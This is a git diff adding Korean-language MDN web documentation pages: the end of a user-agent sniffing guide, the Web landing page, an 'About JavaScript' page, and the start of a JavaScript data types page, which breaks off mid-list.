+<p>There are five major rendering engines: Trident, Gecko, Presto, Blink and WebKit. As sniffing the rendering engines names is common, a lot of user agents added other rendering names to trigger detection. It is therefore important to pay attention not to trigger false-positives when detecting the rendering engine.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col"></th>
+ <th scope="col">반드시 포함</th>
+ <th scope="col"></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Gecko</td>
+ <td>Gecko/xyz</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>WebKit</td>
+ <td>AppleWebKit/xyz</td>
+ <td>Pay attention, WebKit browsers add a 'like Gecko' string that may trigger false positive for Gecko if the detection is not careful.</td>
+ </tr>
+ <tr>
+ <td>Presto</td>
+ <td>Opera/xyz</td>
+ <td><strong>Note:</strong> Presto is no longer used in Opera browser builds &gt;= version 15 (see 'Blink')</td>
+ </tr>
+ <tr>
+ <td>Trident</td>
+ <td>Trident/xyz</td>
+ <td>Internet Explorer put this token in the <em>comment</em> part of the User Agent String</td>
+ </tr>
+ <tr>
+ <td>Blink</td>
+ <td>Chrome/xyz</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="렌더링_엔진_버전">렌더링 엔진 버전</h2>
+
+<p>Most rendering engine put the version number in the <em>RenderingEngine/VersionNumber</em> token, with the notable exception of Gecko. Gecko puts the Gecko version number in the comment part of the User Agent after the <code>rv:</code> string. From Gecko 14 for the mobile version and Gecko 17 for the desktop version, it also puts this value in the <code>Gecko/version</code> token (previous version put there the build date, then a fixed date called the GeckoTrail).</p>
+
+<h2 id="운영체제">운영체제</h2>
+
+<p>The Operating System is given in most User Agent strings (although not web-focussed platforms like Firefox OS), but the format varies a lot. It is a fixed string between two semi-colons, in the comment part of the User Agent. These strings are specific for each browsers. They indicates the OS, but also often its version and information on the relying hardware (32 or 64 bits, or Intel/PPC for Mac).</p>
+
+<p>Like in all cases, these strings may change in the future, one should use them only in conjunction for the detection of already released browsers. A technological survey must be in place to adapt the script when new browser versions are coming out.</p>
+
+<h3 id="모바일_태블릿_데스크톱">모바일, 태블릿, 데스크톱</h3>
+
+<p>The most common reason to perform user agent sniffing is to determine which type of device the browser runs on. The goal is to serve different HTML to different device types.</p>
+
+<ul>
+ <li>Never assume that a browser or a rendering engine only runs on one type of device. Especially don't make different defaults for different browsers or rendering engines.</li>
+ <li>Never use the OS token to define if a browser is on mobile, tablet or desktop. The OS may run on more than one type of (for example, Android runs on tablets as well as phones).</li>
+</ul>
+
+<p>The following table summarizes the way major browser vendors indicate that their browsers are running on a mobile device:</p>
+
+<table>
+ <caption>Common browsers User Agent strings</caption>
+ <thead>
+ <tr>
+ <th scope="col">브라우저</th>
+ <th scope="col">규칙</th>
+ <th scope="col">예제</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Mozilla (Gecko, Firefox)</td>
+ <td><a href="/en-US/docs/Gecko_user_agent_string_reference"><strong>Mobile</strong> or <strong>Tablet</strong> token</a> in the comment.</td>
+ <td>Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0</td>
+ </tr>
+ <tr>
+ <td>WebKit-based (Android, Safari)</td>
+ <td><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3"><strong>Mobile Safari</strong> token</a> outside the comment.</td>
+ <td>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</td>
+ </tr>
+ <tr>
+ <td>Blink-based (Chromium, Google Chrome, Opera 15+)</td>
+ <td><a href="https://developers.google.com/chrome/mobile/docs/user-agent"><strong>Mobile Safari</strong> token</a> outside the comment</td>
+ <td>Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047</td>
+ </tr>
+ <tr>
+ <td>Presto-based (Opera 12-)</td>
+ <td>
+ <p><a href="http://my.opera.com/community/openweb/idopera/"><strong>Opera Mobi/xyz</strong> token</a> in the comment (Opera 12-)</p>
+ </td>
+ <td>
+ <p>Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50</p>
+ </td>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td><strong>IEMobile/xyz</strong> token in the comment.</td>
+ <td>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>In summary, we recommend looking for the string “Mobi” anywhere in the User Agent to detect a mobile device.</p>
+
+<div class="note">
+<p>If the device is large enough that it's not marked with “Mobi”, you should serve your desktop site (which, as a best practice, should support touch input anyway, as more desktop machines are appearing with touchscreens).</p>
+</div>
diff --git a/files/ko/web/index.html b/files/ko/web/index.html
new file mode 100644
index 0000000000..22a6317a0e
--- /dev/null
+++ b/files/ko/web/index.html
@@ -0,0 +1,109 @@
+---
+title: 개발자를 위한 웹 기술
+slug: Web
+tags:
+ - History
+ - Landing
+ - Web
+ - 웹 개발
+translation_of: Web
+---
+<p class="summary">웹(World Wide Web)의 개방성은 웹사이트나 온라인 애플리케이션을 제작하려는 사람들에게 많은 기회를 제공합니다. 하지만 그 사용 방법을 알아야 웹 기술을 잘 활용할 수 있습니다. 아래의 링크들을 확인하여 다양한 웹 기술을 배워보세요.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="웹_기술">웹 기술</h2>
+
+<h3 id="기본_기술">기본 기술</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML">HTML</a></dt>
+ <dd><strong>HTML(HyperText Markup Language)</strong>은 웹페이지에 내용을 기술하고 정의하는 데 사용합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS">CSS</a></dt>
+ <dd><strong>CSS(Cascading Style Sheets)</strong>는 웹페이지 콘텐츠의 모양이나 표현을 기술하는 데 사용합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP">HTTP</a></dt>
+ <dd><strong><dfn>하이퍼텍스트 전송 규약(Hypertext Transfer Protocol)</dfn></strong><dfn>은 HTML 및 기타 하이퍼미디어 문서를 웹 상에서 전달할 때 사용하는 규칙을 말합니다.</dfn></dd>
+</dl>
+
+<h3 id="스크립트">스크립트</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript">JavaScript</a></dt>
+ <dd><strong>JavaScript(자바스크립트)</strong>는 브라우저에서 실행되는 프로그램 언어입니다. 사용자의 행동에 화면이 반응하는 것과 같은 동적인 기능을 웹페이지나 애플리케이션에 넣기 위해 사용합니다.</dd>
+ <dd><a href="https://developer.mozilla.org/ko/docs/Glossary/Node.js">Node.js</a>를 통해 서버상에서도 JavaScript를 구동할 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/Reference/API">Web API</a></dt>
+ <dd><strong>Web API(Application Programming Interfaces)</strong>는 <a href="DOM">DOM</a> 조작, 오디오 및 비디오 재생, 3D 그래픽 구현 등의 작업을 위해 사용합니다.
+ <ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API" title="Web/API">웹 API 인터페이스 설명집</a> - 웹 개발에 사용하는 모든 객체 유형을 볼 수 있습니다.</li>
+ <li><a href="/ko/docs/WebAPI">WebAPI 페이지</a> - 웹 애플리케이션에 사용할 수 있는 모든 통신 및 하드웨어 접근, 기타 API가 나열되어 있습니다</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Events">이벤트 참조</a> - 웹페이지나 애플리케이션에서 발생한 이벤트를 모아놓은 것으로, 관심있는 사건을 추적하거나 그에 반응하는 것을 가능케 합니다.</li>
+ </ul>
+ </dd>
+ <dt><a href="/ko/docs/Web/Web_components">웹 컴포넌트</a></dt>
+ <dd>웹 컴포넌트는 코드를 재사용할 수 있도록 커스텀 엘리먼트(custom elements)를 생성하고, 이를 사용하기 위한 기술을 말합니다. </dd>
+</dl>
+
+<h3 id="그래픽">그래픽</h3>
+
+<dl>
+ <dt><a href="/ko/docs/HTML/Canvas">Canvas</a></dt>
+ <dd>{{HTMLElement("canvas")}}는 자바스크립트로 2D 그래픽 그릴 수 있게 하는 Api 를 지원합니다. </dd>
+ <dt><a href="/ko/docs/SVG">SVG</a></dt>
+ <dd><strong>SVG(Scalable Vector Graphics)</strong>는 일련의 벡터 및 도형을 통해 이미지를 나타냄으로써 이미지가 원래 그려진 크기에 상관 없이 매끄럽게 확대/축소가 가능하도록 합니다.</dd>
+ <dt><a href="/ko/docs/Web/WebGL" title="Web/WebGL">WebGL</a></dt>
+ <dd>WebGL은 OpenGL ES 2.0을 거의 충족하는 API를 도입함으로써 웹에 2D, 3D 그래픽을 제공하여 HTML의 {{HTMLElement("canvas")}} 요소에서 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="오디오_비디오_멀티미디어">오디오, 비디오, 멀티미디어</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Media">웹 미디어 기술</a></dt>
+ <dd>미디어 관련 API 및 그에 필요한 문서 링크 일람.</dd>
+ <dt><a href="/ko/docs/Web/API/Media_Streams_API">미디어 캡처 및 스트림 API</a></dt>
+ <dd>로컬이든 네트워크 경유든 미디어 스트리밍, 녹화, 녹음, 조작을 할 수 있는 API 편람입니다.. 로컬 카메라 및 마이크를 사용하여 비디오, 오디오, 정지 화상을 캡처하는 내용이 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">HTML5 오디오 비디오 사용하기</a></dt>
+ <dd>웹 페이지에 비디오, 오디오를 심고, 재생제어를 하는 방법입니다. </dd>
+ <dt><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>실시간 커뮤니케이션을 위한 WebRTC 표준에 속하는 기술입니다. 브라우저 클라이언트간에(peer to peer) 오디오/비디오 스트리밍, 데이터 공유가 가능합니다 </dd>
+</dl>
+
+<h3 id="기타">기타</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/MathML">MathML</a></dt>
+ <dd><strong>수학 마크업 언어(Mathematical Markup Language)</strong>는 복잡한 수학 방정식 및 구문을 표시할 수 있게 합니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/XSLT">XSLT</a></dt>
+ <dd><strong>Extensible Stylesheet Language Transformations (XSLT)</strong>를 사용하면 XML 문서를 사람이 읽을 수있는 HTML로 변환 할 수 있습니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/XPath">XPath</a></dt>
+ <dd><strong>XPath</strong>를 사용하면 현재 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a>에서 제공하는 것보다 더 강력한 구문을 사용하여 문서에서 DOM 노드를 선택할 수 있습니다.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="학습_영역">학습 영역</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn">웹 개발 학습</a></dt>
+ <dd>초심자가 간단한 웹사이트 코딩을 시작하는 데 필요한 다양한 글이 있습니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/Apps/Progressive">Progressive Web Apps</a></dt>
+ <dd>Progressive 웹 앱은 현대적인 웹 API를 사용하여 전통적인 Progressive 향상 전략과 함께 크로스플랫폼 웹 응용 프로그램을 만듭니다. 이러한 앱은 어디서나 작동하며 기본 앱과 동일한 사용자 환경 이점을 제공하는 몇 가지 기능을 제공합니다. 이 문서 및 가이드 세트는 PWA에 대해 알아야 할 모든 정보를 제공합니다.</dd>
+</dl>
+
+<h2 id="기타_주제">기타 주제</h2>
+
+<dl>
+ <dt><a href="Web/Apps">웹 애플리케이션 개발</a></dt>
+ <dd>모바일, 데스크톱, 파이어폭스 OS 환경의 웹 앱을 개발하기 위한 기술을 설명하는 글들입니다.</dd>
+ <dt><a href="Web/Accessibility">접근성</a></dt>
+ <dd>웹 개발에서 접근성이란 가능한 많은 사람들이 일부 신체적 장애가 있더라도 웹 사이트를 사용할 수 있게 만드는 것을 말합니다. 본 주제에서는 콘텐트를 접근성 있게 개발하는 데 대한 정보를 제공합니다.</dd>
+ <dt><a href="Web/Localization">현지화(L10n)와 국제화(I18n)</a></dt>
+ <dd>웹은 글로벌 커뮤니티입니다!  당신의 사이트나 앱을 사용하길 원하는 모든 사람이 기대하는 언어 및 레이아웃으로 콘텐츠를 제공해야 한다는것을 명심해야 하며 당신의 사이트가 그러한 사이트의 일부인지 확인하세요.</dd>
+ <dt><a href="/ko/docs/Web/Security">보안</a></dt>
+ <dd>웹사이트나 앱의 개인적인 데이터가 악의적인 사람에게 누출되지 않도록 해야 합니다. 이 주제의 글들을 통해 프로젝트의 보안을 강화해보세요.</dd>
+ <dt><a href="/ko/docs/WebAssembly">웹어셈블리</a></dt>
+ <dd>웹어셈블리는 현대 웹브라우저에서 돌릴 수 있는 새로운 형식의 코드입니다. 네이티브에 가까운 성능으로 돌아가며 컴팩트한 바이너리 포맷을 제공하는 저수준 어셈블리 언어로, C/C++ 등과 같은 언어의 컴파일 타겟으로써 그런 언어로 작성된 프로그램을 웹에서 돌릴 수 있게 해줍니다. 또한 자바스크립트와 나란히 돌아가면서, 서로를 보완할 수 있도록 설계되었습니다</dd>
+</dl>
+</div>
+</div>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/Web">전체 보기...</a></span></p>
diff --git a/files/ko/web/javascript/about/index.html b/files/ko/web/javascript/about/index.html
new file mode 100644
index 0000000000..c7ec0f9f28
--- /dev/null
+++ b/files/ko/web/javascript/about/index.html
@@ -0,0 +1,58 @@
+---
+title: JavaScript에 대하여
+slug: Web/JavaScript/About
+tags:
+ - 비기너
+ - 소개
+ - 자바스크립트
+translation_of: Web/JavaScript/About_JavaScript
+---
+<p>{{JsSidebar}}</p>
+
+<h2 id="JavaScript란_무엇인가">JavaScript란 무엇인가?</h2>
+
+<p><strong>JavaScript</strong><sup>®</sup> (줄여서 <strong>JS</strong>)는 일급 함수를 사용하는 가벼운 객체 지향 인터프리터 언어이며 웹페이지의 스크립트 언어로 잘 알려져 있지만, 브라우저가 아닌 환경에서도 많이 사용된다. 프로토타입 기반, 다중 패러다임 스크립트 언어이며, 동적이고 명령어, 객체 지향, 함수 프로그래밍 스타일을 지원한다.</p>
+
+<p>자바스크립트는 클라이언트 측 웹(브라우저)에서 실행 되고, 웹 페이지가 이벤트 발생시 어떻게 작동하는 지 디자인 / 프로그래밍할 수 있다. 자바스크립트는 쉽게 배울 수 있고 강력한 스크립트 언어로 웹 페이지 동작을 제어하는 데 널리 사용된다.</p>
+
+<p>대중적인 오해와 달리, <strong>Javascript는 인터프리트 형태 자바가 아니다. </strong>간단히 말하면, Javascript는 프로토 타입 기반 객체 생성을 지원하는 동적 스크립트 언어이다.  <span style="line-height: 1.5;">기본적인 문법은  언어 학습에 필요한 새로운 개념을 줄이기 위해 Java와 C++의 if문, for와 while문, switch문과 try...catch 구문을 사용하는 언어구조를 사용하며, 그와 같은 (거의 가까운) 동작을 한다. </span></p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">Javascript는 <a class="external" href="http://www.instantweb.com/%7Efoldoc/foldoc.cgi?query=procedural&amp;action=Search">절차지향 (procedural)</a> 언어와  <a class="external" href="http://www.instantweb.com/%7Efoldoc/foldoc.cgi?query=object+oriented&amp;action=Search">객체지향 (object oriented)</a> 언어 두가지 형태로 만들수 있다. 자바스크립트에서 객체는 실시간으로 빈 객체를 오버라이딩하여 메소드와 프로퍼티를 연결하는 (프로그래밍)방식으로 생성된다. <span style="line-height: 1.5;">C++ 및 Java와 같은 컴파일 언어에서 공통적인 구문 클래스 정의와 반대되는 개념이다. 한번 객체가 생성하면, 비슷한 객체를 생성할 때 프로토타입으로 사용할 수 있다.</span></p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">JavaScript의 동적인 성질은, 실행시의 오브젝트 구축, 가변 인수 리스트, 함수 변수, (eval 에 의한)동적 스크립트 작성, (for ... in 에 의한) 오브젝트의 내부참조, 또는 소스코드 복원 (JavaScript 의 프로그램은 함수본체를 소스텍스트에 역컴파일할 수 있다.) 을 포함하고 있다.</p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">자바스크립트 프로그래밍에 대한 더 자세한 설명은 아래의 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/About#JavaScript_%EC%9E%90%EC%9B%90">자바스크립트 리소스</a> 링크를 참조하면 된다.</p>
+
+<h2 id="어떠한_JavaScript_구현이_유용한가">어떠한 JavaScript 구현이 유용한가?</h2>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">Mozilla 프로젝트는 두 가지 자바스크립트 구현을 제공한다. 최초의 Javascript는 Netscape의 Brendan Eich에 의해 만들었다. 이후 ECMA-262 에디션 5 와 최신 버전을 준수하도록 업데이트되었다. <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a> 라는 이름의 엔진은 C/C++로 구현되었다. <a href="https://developer.mozilla.org/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a> 엔진은 주로 Norris Boys(또한 Netscape)가 만들었고 Java로 작성된 Javascript 구현체이다. SpiderMonkey와 마찬가지로 Rhino도 ECMA-262 에디션 5를 준거한다.</p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) 그리고 IonMonkey와 같은 몇가지 주요한 실시간 최적화는 차츰 SpiderMonkey 자바스크립트 엔진에 추가되었다. 자바스크립트 실행 성능 향상을 위한 작업은 지금도 진행 중이다.</p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">위의 구현 이외에도 다음과 같은 다른 인기있는 자바스크립트 엔진이 있다.</p>
+
+<ul>
+ <li style="padding: 0px; margin: 0px 0px 1.7em;">구글의 <a href="https://code.google.com/p/v8/" title="https://code.google.com/p/v8/">V8</a> 은 크롬 브라우저와 최신 버전의 오페라 브라우저에 사용된다. 또 Node.js의 엔진으로 사용된다.</li>
+ <li style="padding: 0px; margin: 0px 0px 1.7em;"><a href="https://www.webkit.org/projects/javascript/index.html" title="https://www.webkit.org/projects/javascript/index.html">JavaScriptCore</a> (SquirrelFish/Nitro) 는 Apple 사파리와 같은 일부 WebKit 브라우저에서 사용된다.</li>
+ <li style="padding: 0px; margin: 0px 0px 1.7em;"><a href="http://my.opera.com/ODIN/blog/carakan-faq" title="http://my.opera.com/ODIN/blog/carakan-faq">Carakan</a> 는 오페라의 예전 버전안에 있다.</li>
+ <li style="padding: 0px; margin: 0px 0px 1.7em;"><a href="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29" title="http://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> 엔진은 Internet Explorer에서 사용된다. (상표권 문제를 피하기 위해 공식적으로 "JScript"라고 불린다.)</li>
+</ul>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">mozilla.org의 각 JavaScript 엔진은, 애플리케이션이 JavaScript를 지원하기 위해 부를 수 있는 공개 API를 공개하고 있다. JavaScript 를 지원하는 가장 일반적인 호스트환경은 웹브라우저이다. 웹 브라우저는 일반적으로 공개 API를 사용하여 <a class="external external-icon" href="http://www.w3.org/DOM/">DOM</a>을 Javascript로 반영하는 <strong>호스트 객체</strong>를 만든다.</p>
+
+<p style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">JavaScript 의 또 다른 일반적인 애플리케이션은 (웹) 서버사이드 스크립팅 언어이다. 자바스크립트 웹 서버는 HTTP 요청 및 응답 객체를 나타내는 호스트 객체를 공개하며 자바 스크립트 프로그램에 의해 조작되어 웹 페이지를 동적으로 생성 할 수 있다. <a href="http://nodejs.org/">Node.js</a>는 이에 대한 대중적인 예이다.</p>
+
+<h2 id="JavaScript_자원">JavaScript 자원</h2>
+
+<dl style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px 0px 1.7em; padding-top: 0px;">
+ <dt style="font-weight: bold; font-style: normal;"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey" title="en-US/docs/SpiderMonkey">SpiderMonkey</a></dt>
+ <dd style="padding-left: 15px; margin-bottom: 0.5em; margin-left: 0px;">애플리케이션에 임베드하는 방법을 포함하는, C/C++ 엔진(SpiderMonkey)으로 구현된 Mozilla의 JavaScript 구현체에 관한 정보.</dd>
+ <dt style="font-weight: bold; font-style: normal;"><a href="https://developer.mozilla.org/en-US/docs/Rhino" title="en-US/docs/Rhino">Rhino</a></dt>
+ <dd style="padding-left: 15px; margin-bottom: 0.5em; margin-left: 0px;">Java(Rhino)로 작성된 자바스크립트 구현체에 관련 정보.</dd>
+ <dt style="font-weight: bold; font-style: normal;"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Language_Resources" title="en-US/docs/JavaScript_Language_Resources">Language resources</a></dt>
+ <dd style="padding-left: 15px; margin-bottom: 0.5em; margin-left: 0px;">자바스크립트 표준을 출판하기 위한 포인터들.</dd>
+ <dt style="font-weight: bold; font-style: normal;"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript" title="en-US/docs/A_re-introduction_to_JavaScript">A re-introduction to JavaScript</a></dt>
+ <dd style="padding-left: 15px; margin-bottom: 0.5em; margin-left: 0px;"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide" title="en-US/docs/JavaScript/Guide">자바스크립트 가이드</a>와 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">자바스크립트 레퍼런스</a>.</dd>
+</dl>
+
+<p>JavaScript® 는 미국 및 여러 나라의 Oracle 트레이드마크 또는 등록된 트레이드마크입니다.</p>
diff --git a/files/ko/web/javascript/data_structures/index.html b/files/ko/web/javascript/data_structures/index.html
new file mode 100644
index 0000000000..14967ae250
--- /dev/null
+++ b/files/ko/web/javascript/data_structures/index.html
@@ -0,0 +1,221 @@
+---
+title: 자바스크립트의 자료형
+slug: Web/JavaScript/Data_structures
+translation_of: Web/JavaScript/Data_structures
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>모든 프로그래밍 언어는 내장 자료형이 있지만, 종종 이러한 내장 자료형은 언어마다 다르다. 이 문서에서는 자바스크립트의 내장 자료형과, 내장 자료형에서 사용할 수 있는 속성들에 대해 알아본다. 이로써 내장 자료형들로 더 복잡한 자료형을 만드는데 사용할 수 있을 것이다. 가능하다면 다른 언어와도 비교해보자.</p>
+
+<h2 id="동적_타이핑">동적 타이핑</h2>
+
+<p>자바스크립트는 <em>느슨한 타입 (loosely typed)</em> 언어, 혹은 <em>동적 (dynamic)</em> 언어이다. 그 말은, 변수의 타입을 미리 선언할 필요가 없다는 뜻이다. 타입은 프로그램이 처리되는 과정에서 자동으로 파악될 것이다. 또한 그 말은 같은 변수에 여러 타입의 값을 넣을 수 있다는 뜻이다.</p>
+
+<pre class="brush: js notranslate">var foo = 42; // foo 는 이제 Number 임
+var foo = "bar"; // foo 는 이제 String 임
+var foo = true; // foo 는 이제 Boolean 임
+</pre>
+
+<h2 id="데이터_타입">데이터 타입</h2>
+
+<p>최신 ECMAScript 표준은 다음과 같은 7개의 자료형을  정의한다.</p>
+
+<ul>
+ <li>{{Glossary("Primitive", "기본 자료형 (Primitive)")}} 인 여섯가지 데이터 타입
+ <ul>
+ <li>{{Glossary("Boolean")}}</li>
+ <li>{{Glossary("Null")}}</li>
+ <li>{{Glossary("Undefined")}}</li>
+ <li>{{Glossary("Number")}}</li>
+ <li>{{Glossary("String")}}</li>
+ <li>{{Glossary("Symbol")}} (ECMAScript 6 에 추가됨)</li>
+ </ul>
+ </li>
+ <li>별도로 {{Glossary("Object")}} 도 있음</li>
+</ul>
+
+<p>다음 장에서 이 여섯개의 자료형을 사용하는 방법과 자료형을 조합하여 더 복잡한 자료형을 만드는 방법에 대해 알아보자.</p>
+
+<h2 id="기본_타입_Primitive_value">기본 타입 (Primitive value)</h2>
+
+<p>오브젝트를 제외한 모든 값은 변경 불가능한 값 (immutable value) 이다. 예를 들자면, 특히 C 언어와는 다르게도, 문자열은 불변값 (immutable) 이다. 이런 값을 "primitive values" 라고 일컫는다. 아래의  {{ anch("Strings") }} 장에서 더 자세히 설명할 것이다.</p>
+
+<h3 id="Boolean_타입">Boolean 타입</h3>
+
+<p>Boolean 은 논리적인 요소를 나타내고, <code>true</code> 와 <code>false</code> 의 두 가지 값을 가질 수 있다.</p>
+
+<h3 id="Null_타입">Null 타입</h3>
+
+<p>Null 타입은 딱 한 가지 값, <code>null</code> 을 가질 수 있다. 더 알아보려면 {{jsxref("null")}} 와 {{Glossary("Null")}} 을 보라.</p>
+
+<h3 id="Undefined_타입">Undefined 타입</h3>
+
+<p>값을 할당하지 않은 변수는 <code>undefined</code> 값을 가진다. 더 알아보려면 {{jsxref("undefined")}} 와 {{Glossary("Undefined")}} 을 보라.</p>
+
+<h3 id="Number_타입">Number 타입</h3>
+
+<p>ECMAScript 표준에 따르면, 숫자의 자료형은 <a href="https://en.wikipedia.org/wiki/Double-precision_floating-point_format">배정밀도 64비트 형식 IEEE 754 값</a> (-(2<sup>53</sup> -1) 와 2<sup>53</sup> -1 사이의 숫자값) 단 하나만 존재한다. <strong>정수만을 표현하기 위한 특별한 자료형은 없다.</strong> 부동 소수점을 표현할 수 있는 것 말고도, Number 타입은 세 가지 의미있는 몇가지 상징적인 값들도 표현할 수 있다. 이 값에는 <code>+무한대</code>, <code>-무한대</code>, and <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a></code> (숫자가 아님)이 있다.</p>
+
+<p><code>+/-Infinity</code> 보다 크거나 작은지 확인하는 용도로 상수값인 {{jsxref("Number.MAX_VALUE")}} 나 {{jsxref("Number.MIN_VALUE")}} 을 사용할 수 있다. 또한, ECMAScript 6 부터는 숫자가 배정밀도 부동소수점 숫자인지 확인하는 용도로 {{jsxref("Number.isSafeInteger()")}} 과 {{jsxref("Number.MAX_SAFE_INTEGER")}}, {{jsxref("Number.MIN_SAFE_INTEGER")}} 을 사용할 수 있다. 이 범위를 넘어서면, 자바스크립트의 숫자는 더 이상 안전하지 않다.</p>
+
+<p>Number 타입의 값 중에는 두 가지 방식으로 표현할 수 있는 유일한 값이 있는데, 0 이다. 0 은 -0 이나 +0 으로 표시할 수 있다. ("0" 은 물론 +0 이다.) 실제로는 이러한 사실은 거의 효력이 없다. 그 예로, <code>+0 === -0</code> 은 <code>true</code> 이다. 하지만 0으로 나누는 경우 그 차이가 눈에 띌 것이다.</p>
+
+<pre class="brush: js language-js notranslate"><code class="language-js"><span class="operator token">&gt;</span> <span class="number token">42</span> <span class="operator token">/</span> <span class="operator token">+</span><span class="number token">0</span>
+<span class="number token">Infinity</span>
+<span class="operator token">&gt;</span> <span class="number token">42</span> <span class="operator token">/</span> <span class="operator token">-</span><span class="number token">0</span>
+<span class="operator token">-</span><span class="number token">Infinity</span></code></pre>
+
+<p>숫자가 보통 값만으로 표현되긴 하지만, 자바스크립트는 <a href="/en/JavaScript/Reference/Operators/Bitwise_Operators" title="en/JavaScript/Reference/Operators/Bitwise_Operators">몇 가지 이진 연산자</a>도 제공한다. 이러한 이진 연산자들은 <a class="external" href="http://en.wikipedia.org/wiki/Mask_%28computing%29">비트 마스킹(bit masking)</a> 기법으로 한 숫자 안에 여러 Boolean 값을 저장하는데도 쓸 수 있다. 일반적으로 이런 방법은 나쁜 방법이지만, 자바스크립트에서는 (Boolean 값의 배열이나 Boolean 값들을 이름있는 속성들로 가지는 객체 같은) Boolean 덩어리를 나타낼 다른 방법이 없다. 비트 마스킹은 또한 코드를 이해하고, 읽고, 유지보수하는데에 있어서 좀 더 어렵게 만드는 경향이 있다. 하지만 이러한 기법은 local storage 의 저장공간이 부족해서 절약하려고 하거나, 네트워크 상에서 각각의 비트를 전송하는 등의 극단적인 상황 같은 굉장히 제한적인 환경에서 필요할 수도 있다. 그래서 비트 마스킹 기법은 크기를 최대한 줄여야하는 상황에서만 사용을 고려해야 한다.</p>
+
+<h3 id="String_타입">String 타입</h3>
+
+<p>자바스크립트의 {{jsxref("Global_Objects/String", "String")}} 타입은 텍스트 데이터를 나타내는데 사용한다. 이는 16비트 부호없는 정수 값 요소들의 집합이다. String의 각 요소는 String의 위치를 차지한다. 첫 번째 요소는 0번 인덱스에 있고, 다음 요소는 1번, 그 다음 요소는 2번... 같은 방식이다. String 의 길이는 String이 가지고있는 요소의 갯수이다.</p>
+
+<p>C 같은 언어와는 다르게, 자바스크립트의 문자열은 변경 불가능 (immutable) 하다. 이것은 한 번 문자열이 생성되면, 그 문자열을 수정할 수 없다는걸 의미한다. 그러나 원래 문자열에서 일부가 수정된 다른 문자열을 만드는건 가능하다. 예를 들자면 이렇다.</p>
+
+<ul>
